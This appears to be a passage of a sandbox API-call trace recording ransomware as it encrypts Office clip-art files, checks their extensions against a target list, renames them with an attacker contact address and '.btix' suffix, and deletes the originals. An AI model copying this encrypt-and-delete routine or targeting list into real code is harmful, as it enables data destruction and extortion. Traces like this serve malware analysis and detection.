[0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.935] lstrlenW (lpString=".dbf") returned 4 [0152.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.935] lstrlenW (lpString=".1cd") returned 4 [0152.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.935] lstrlenW (lpString=".jpg") returned 4 [0152.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.935] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.935] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.936] GetLastError () returned 0x0 [0152.936] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3734, lpOverlapped=0x0) returned 1 [0152.937] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3740, lpOverlapped=0x0) returned 1 [0152.938] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.938] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.938] SetEndOfFile (hFile=0x3a0) returned 1 [0152.938] CloseHandle (hObject=0x3a0) returned 1 [0152.938] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.938] SetEndOfFile (hFile=0x374) returned 1 [0152.939] CloseHandle (hObject=0x374) returned 1 [0152.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0152.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.939] lstrlenW (lpString=".doc") returned 4 [0152.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.939] lstrlenW (lpString=".docx") returned 5 [0152.939] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.939] lstrlenW (lpString=".pdf") returned 4 [0152.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.939] lstrlenW (lpString=".xls") returned 4 [0152.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.939] lstrlenW (lpString=".xlsx") returned 5 [0152.939] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.940] lstrlenW (lpString=".ppt") returned 4 [0152.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.940] lstrlenW (lpString=".zip") returned 4 [0152.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.940] lstrlenW (lpString=".rar") returned 4 [0152.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.940] lstrlenW (lpString=".bz2") returned 4 [0152.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.940] lstrlenW (lpString=".7z") returned 3 [0152.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.940] lstrlenW (lpString=".dbf") returned 4 [0152.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.940] lstrlenW (lpString=".1cd") returned 4 [0152.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0152.940] lstrlenW (lpString=".jpg") returned 4 [0152.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.940] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.940] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.941] GetLastError () returned 0x0 [0152.941] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x69cc, lpOverlapped=0x0) returned 1 [0152.942] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x69d0, lpOverlapped=0x0) returned 1 [0152.943] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.943] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.943] SetEndOfFile (hFile=0x3a0) returned 1 [0152.943] CloseHandle (hObject=0x3a0) returned 1 [0152.943] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.943] SetEndOfFile (hFile=0x374) returned 1 [0153.267] CloseHandle (hObject=0x374) returned 1 [0153.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0153.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.268] lstrlenW (lpString=".doc") returned 4 [0153.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString=".docx") returned 5 [0153.268] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.268] lstrlenW (lpString=".pdf") returned 4 [0153.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString=".xls") returned 4 [0153.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.268] lstrlenW (lpString=".xlsx") returned 5 [0153.268] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.268] lstrlenW (lpString=".ppt") returned 4 [0153.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.268] lstrlenW (lpString=".zip") returned 4 [0153.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.268] lstrlenW (lpString=".rar") returned 4 [0153.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString=".bz2") returned 4 [0153.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString=".7z") returned 3 [0153.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.268] lstrlenW (lpString=".dbf") returned 4 [0153.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.268] lstrlenW (lpString=".1cd") returned 4 [0153.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0153.269] lstrlenW (lpString=".jpg") returned 4 [0153.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.269] GetLastError () returned 0x0 [0153.269] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3734, lpOverlapped=0x0) returned 1 [0153.270] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3740, lpOverlapped=0x0) returned 1 [0153.271] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.271] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.271] SetEndOfFile (hFile=0x35c) returned 1 [0153.271] CloseHandle (hObject=0x35c) returned 1 [0153.272] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.272] SetEndOfFile (hFile=0x374) returned 1 [0153.273] CloseHandle (hObject=0x374) returned 1 [0153.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0153.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.273] lstrlenW (lpString=".doc") returned 4 [0153.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.273] lstrlenW (lpString=".docx") returned 5 [0153.273] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.273] lstrlenW (lpString=".pdf") returned 4 [0153.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.273] lstrlenW (lpString=".xls") returned 4 [0153.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.273] lstrlenW (lpString=".xlsx") returned 5 [0153.273] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.274] lstrlenW (lpString=".ppt") returned 4 [0153.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.274] lstrlenW (lpString=".zip") returned 4 [0153.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.274] lstrlenW (lpString=".rar") returned 4 [0153.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.274] lstrlenW (lpString=".bz2") returned 4 [0153.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.274] lstrlenW (lpString=".7z") returned 3 [0153.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.274] lstrlenW (lpString=".dbf") returned 4 [0153.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.274] lstrlenW (lpString=".1cd") returned 4 [0153.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0153.274] lstrlenW (lpString=".jpg") returned 4 [0153.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.275] GetLastError () returned 0x0 [0153.275] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x347c, lpOverlapped=0x0) returned 1 [0153.276] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3480, lpOverlapped=0x0) returned 1 [0153.277] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.277] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.277] SetEndOfFile (hFile=0x35c) returned 1 [0153.277] CloseHandle (hObject=0x35c) returned 1 [0153.277] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.277] SetEndOfFile (hFile=0x374) returned 1 [0153.278] CloseHandle (hObject=0x374) returned 1 [0153.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0153.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.278] lstrlenW (lpString=".doc") returned 4 [0153.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.278] lstrlenW (lpString=".docx") returned 5 [0153.278] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.279] lstrlenW (lpString=".pdf") returned 4 [0153.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString=".xls") returned 4 [0153.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.279] lstrlenW (lpString=".xlsx") returned 5 [0153.279] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.279] lstrlenW (lpString=".ppt") returned 4 [0153.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.279] lstrlenW (lpString=".zip") returned 4 [0153.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.279] lstrlenW (lpString=".rar") returned 4 [0153.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString=".bz2") returned 4 [0153.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString=".7z") returned 3 [0153.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.279] lstrlenW (lpString=".dbf") returned 4 [0153.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.279] lstrlenW (lpString=".1cd") returned 4 [0153.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0153.279] lstrlenW (lpString=".jpg") returned 4 [0153.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.279] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.279] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.280] GetLastError () returned 0x0 [0153.280] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3014, lpOverlapped=0x0) returned 1 [0153.281] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3020, lpOverlapped=0x0) returned 1 [0153.282] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.282] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.282] SetEndOfFile (hFile=0x35c) returned 1 [0153.282] CloseHandle (hObject=0x35c) returned 1 [0153.282] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.282] SetEndOfFile (hFile=0x374) returned 1 [0153.283] CloseHandle (hObject=0x374) returned 1 [0153.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0153.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.283] lstrlenW (lpString=".doc") returned 4 [0153.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.283] lstrlenW (lpString=".docx") returned 5 [0153.283] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.283] lstrlenW (lpString=".pdf") returned 4 [0153.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.283] lstrlenW (lpString=".xls") returned 4 [0153.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.283] lstrlenW (lpString=".xlsx") returned 5 [0153.283] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.283] lstrlenW (lpString=".ppt") returned 4 [0153.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.284] lstrlenW (lpString=".zip") returned 4 [0153.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.284] lstrlenW (lpString=".rar") returned 4 [0153.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.284] lstrlenW (lpString=".bz2") returned 4 [0153.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.284] lstrlenW (lpString=".7z") returned 3 [0153.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.284] lstrlenW (lpString=".dbf") returned 4 [0153.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.284] lstrlenW (lpString=".1cd") returned 4 [0153.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0153.284] lstrlenW (lpString=".jpg") returned 4 [0153.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.284] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.284] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.285] GetLastError () returned 0x0 [0153.285] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x99c, lpOverlapped=0x0) returned 1 [0153.285] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0153.286] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, 